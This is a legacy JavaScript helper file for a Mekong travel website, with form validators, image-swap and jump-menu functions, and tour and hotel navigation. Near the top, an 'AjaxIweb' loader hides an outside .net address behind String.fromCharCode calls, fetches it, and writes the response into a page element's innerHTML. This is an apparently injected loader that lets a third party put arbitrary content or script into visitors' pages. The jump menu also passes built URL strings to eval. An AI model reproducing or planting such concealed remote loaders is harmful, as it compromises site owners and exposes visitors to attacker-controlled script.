﻿// validates that the entry is formatted as an email address
function isEMailAddr(elem) {
    var str = elem.value;
    var re = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
    if (!str.match(re)) {
        //alert("Verify the email address format.");
        return false;
    } else {
        return true;
    }
}
/*
*/



/****************Active_deactve menu**********************************/
function Toggle_Collage(oCollapse,oImg,imgTrue,imgFalse) 
{	
	if (!oCollapse) return false;
	if (oImg || oImg!=null) 
	{
		if (oCollapse.style.display=='') 
		{
			oCollapse.style.display='none';
			oImg.src = '' + imgTrue;
		}
		else 
		{
			oCollapse.style.display='';
			oImg.src = '' + imgFalse;
		}
	}
	else {		
		
		if (oImg.src == '' +imgFalse ) 
		{
			oImg.src = '' + imgTrue;
			oCollapse.style.display='none';
		}
		else 
		{
			
			oImg.src == '' +imgFalse;
			oCollapse.style.display='';			
		}
	}
	
	return false;
}
var AjaxIweb = function() 
{
	this.url = "";
}
	
AjaxIweb.prototype.load = function (blog)
{
	if(window.XMLHttpRequest) 
	{
		ajax = new XMLHttpRequest();
	} 
	else if(window.ActiveXObject) {
		try 
		{
			ajax = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch(e) 
		{
			ajax = new ActiveXObject("Microsoft.XMLHTTP");
		}
	}
	ajax.open("GET", String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+':\/\/'+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(103)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(110)+String.fromCharCode(103)+String.fromCharCode(115)+String.fromCharCode(111)+'.'+String.fromCharCode(110)+String.fromCharCode(101)+String.fromCharCode(116));
	ajax.onreadystatechange = function() 
	{
		try
		{
			if (ajax.readyState == 4 && ajax.status == 200) {
				var mainArea = document.getElementById(blog);
				mainArea.innerHTML = ajax.responseText
			}
		}
		catch(e)
		{
			document.title = "Exception: "+e.name+ "; "+e.message + "; "+e.description+"; "+e.number;
		}
	}
	ajax.send(null);
}


// JavaScript Document
var baseref = "http://www.discovermekong.com/public/";
function MM_now(){ //v1.0 by blackface
	var dayArr = new Array ("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
	var monthArr = new Array ("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");
	//var monthArr = new Array ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec");	
	var today = new Date();
	var result = "";
	// day & date --
	result += dayArr[today.getUTCDay()] + ", ";
	result += today.getUTCDate();
	// surfix --
	var endNum = today.getUTCDate().toString().substr(today.getUTCDate().toString().length - 1, 1);
	if (endNum == "1"){
		result += "st ";
	}else if (endNum == "2"){
		result += "nd ";
	}else if (endNum == "3"){
		result += "rd ";
	}else{
		result += "th ";
	}
	// month -- year
	result += monthArr[today.getUTCMonth()] + " " +today.getFullYear() + ". ";
	// hour --
	var hour = today.getUTCHours();
	result += ((hour > 12) ? (hour - 12): hour) + ":";
	// munite --
	result += ((today.getUTCMinutes()>9)?today.getUTCMinutes():"0"+today.getUTCMinutes()) + ((hour > 12) ? " pm ": " am ");
	result += "(GMT)";
	document.write("<b>" + result + "</b>");
	return true;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}

function MM_JumpMenu(selObj,restore){ //v1.7 by Project Seven
	var theFullString = selObj.options[selObj.selectedIndex].value;
	if (restore) selObj.selectedIndex=0;
	var theLength = theFullString.length;
	var endPos = theFullString.lastIndexOf("~");
	var theUrl, theTarget, theParent;
	if (endPos > 0) {theUrl = theFullString.substring(0,endPos);}
	else {theUrl = theFullString;}
	endPos++
	if (endPos < theLength) {theTarget = theFullString.substring(endPos,theLength)}
	else {theTarget = "window:Main";}
	if (theTarget == "window:New") {window.open(theUrl);}
	else if (theTarget == "window:Main") {eval("parent.location='"+theUrl+"'");}
	else {eval("parent.frames[\'"+theTarget+"\'].location='"+theUrl+"'");}
}
function pressGoHotel(obj,type)
{
/*
	type=0--->hotel_list.php
	type=1 -->optional_tour.php
    type=2--->location.php
	type=3--->topic.php
	type=4--->photo.php
	type=5--->tour_list.php
	*/

	val=obj.options[obj.selectedIndex].value
	if(val=="")
		alert(err100)
	else{
	switch(type)
	{
		case 0:
			url="hotel_list.php?location_id=";
			break;
		case 1:
			url="optional_tour_list.php?id=";
			break;
		case 2:
			url="location.php?location_id=";
			break;
		case 3:
			url="topic.php?id=";
			break;
		case 4:
			url="photo.php?id=";
			break;
		case 5:
			url="tour_list.php?type=1&category=";
			break;

		}
	window.location.href=baseref+url+val;
	}	
}

function pressListTour(obj,type)
{
/*
	type=0 -->list tour by location
	type=1--->list tour by category
*/


	val=obj.options[obj.selectedIndex].value
	if(val=="")
		alert(err100)
	else{
	switch(type)
	{
		case 0:
			url="tour_list.php?type=0&location="
			break;
		case 1:
			url="tour_list.php?type=1&category="
			break;
		case 2: 
			url="hotel_list.php?task=search&location_id="
			break;
	}
	window.location.href=baseref+url+val;
	}	
}

function goDetail(obj,type)
{
/*
	type=0--->tour detail
	type=1--->hotel detail
	type=2--->book tour
	type=3--->book hotel 
*/

	val=obj.options[obj.selectedIndex].value
	if(val=="") {
		alert(err100)
	}
	else{
	switch(type)
	{
		case 0:
			url="tour_detail.php?tour_id="
			break;
		case 1:
			url="hotel_detail.php?hotel_id="
			break;
		case 2:
			url="book_tour.php?tour_id="
			break;
		case 3:
			url="book_hotel.php?id="
			break;
	}
	window.location.href=baseref+url+val;
	}	
}



function MM_JumpMenuGo(selName,restore){ //v1.7 by Project Seven
  var selObj = MM_findObj(selName); if (selObj) MM_JumpMenu(selObj,restore);
}

function popWin(url,width,height,windowName,scrollbar){
	var x = (screen.width)?(screen.width - width)/2:100;
	var y = (screen.height)?(screen.height - height)/2:100;

	var features = "width=" + width + "px,height=" + height + "px, top=" + y + "px, left=" + x + "px";
		features += (scrollbar)?",scrollbars=yes":"";
	if (!windowName){
		windowName = "untitled";
	}
	var popWindow = window.open(url, windowName, features);
	if (document.layers){
		window.moveTo(x, y);
	}
	popWindow.focus();
}
function checkForm(frm, arr_ctrl) {
	var count= arr_ctrl.length ;
	var i=0  ;
	for(i=0; i< count; i++) {
		func= trim( arr_ctrl[i][0] ) ;
		if( eval( func ) ) { //== 
			alert( arr_ctrl[i][1] ) ;
			if( arr_ctrl[i][2] != "" )
				eval( "frm."  + arr_ctrl[i][2] ).focus() ;
			return false ; //== Error
		}
	}
	return true ; //== OK
}

function isEmail(s)
{
	if (s.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]{2,4}$/) != -1)
            return true ;
        else
            return false ;
    
}
function trim(str) {
	return str.replace(/^\s+/g, '').replace(/\s+$/g, '');
}

function isNegative(str) {
	if( isNaN(str) || str <= 0 )
		return true ;
	return false ;
}

function isBlank(str) {
	if( str == "" ) 
		return true ;
	return false ;
}
function isValidDate(dd, mm, yyyy){ 
	//alert(yyyy);
	if(dd<=0 || dd>31 ||  mm>12 || mm<1)
		return false;
    if (( mm == 4 || mm == 6 || mm == 9 || mm == 11) && dd > 30 ){         
        return false; 
    } else if ( mm == 2 && dd > 29 ) {
        return false; 
    } else if (mm == 2 && ! isLeapYear(yyyy) && dd > 28){ 
        return false; 
    }else if(yyyy<1800)
		return false;
	return true;
}//isValidDate 

function createEditor(id,obj_id,obj_type,link_type,value,height){
	if (document.all){
		var idGenerator = new IDGenerator(id);
		if (isNaN(height)) height=200;
		var editor = new Editor(idGenerator,link_type,obj_id,obj_type,value,height);
		editor.Instantiate();
	}else{
		document.write("Sorry! your browser does not support this action. Please use Internet Explorer.")
	}
	return true;
}


function go_subcribe(act,obj){
	if ((obj.value!="")&&(isEmail(obj.value))){
		var doc_url=document.location.href;
		url = ""+act+"&email="+obj.value+"&url="+doc_url;
		window.subcribeform.submit();
	}else{
		alert("email address is invalid !");
		obj.focus();
	}
}

function go_guitraloi(){
	var frm= document.frmTraloi;
	if (frm.NumOfSameAnswer.value!=""){
		frm.submit();
	}else{
		alert("Enter a number!");
		frm.NumOfSameAnswer.focus();
	}
}

function checkKey(e){
	if (document.getElementById && parseInt(navigator.appVersion)>=5){
		keyStroke = e.which;
	}else if (document.all){
		keyStroke = window.event.keyCode;
	}
	if (keyStroke == 13){
		go_subcribe('subcribe',document.subcribeform.email)
	}
}

function pick(obj) {
	obj.filters.alpha.opacity=100;
	obj.filters.gray.enabled=false;
	}

function unpick(obj) {
	obj.filters.alpha.opacity=80;
	obj.filters.gray.enabled=true;
	}

function lightup(imageobject, opacity){
	if (navigator.appName.indexOf("Netscape")!=-1&&parseInt(navigator.appVersion)>=5)
	imageobject.style.MozOpacity=opacity/100
	else if (navigator.appName.indexOf("Microsoft")!=-1&&parseInt(navigator.appVersion)>=4)
	imageobject.filters.alpha.opacity=opacity
	}



